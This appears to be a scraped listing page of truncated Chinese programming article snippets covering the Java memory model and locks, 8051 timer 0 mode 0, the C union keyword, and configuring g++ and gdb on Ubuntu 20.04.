本文对Java的内存管理模型、volatile关键字和锁机制进行详细阐述&#xff0c;包括synchronized关键字、Lock接口及其实现类ReentrantLock、AQS等的实现原理和常见方法。 一、JMM&#xff08;Java内存模型&#xff09; 1. 介绍 JMM定义了共享内存中多线程程序读写操作的行为规…

51单片机第18步_将TIM0用作13位定时器

本章重点学习将TIM0用作13位定时器。 1、定时器0工作在模式0框图 2、定时器0工作在模式0举例 1、Keil C51中有一些关键字&#xff0c;需要牢记&#xff1a; interrupt 0&#xff1a;指定当前函数为外部中断0&#xff1b; interrupt 1&#xff1a;指定当前函数为定时器0中断…

【C语言】union 关键字

在C语言中&#xff0c;union关键字用于定义联合体。联合体是一种特殊的数据结构&#xff0c;它允许不同的数据类型共享同一段内存。所有联合体成员共享同一个内存位置&#xff0c;因此联合体的大小取决于其最大成员的大小。 定义和使用联合体 基本定义 定义一个联合体类型时…

ubuntu20.04配置调试工具

1.准备工作&#xff1a;安装g或者gdb sudo apt updatesudo apt install gg --versionsudo apt install gdbgdb --version 2.配置环境 2.1在本地新建一个main.cpp #include <iostream> #include <vector> #include <string>using namespace std;int main(…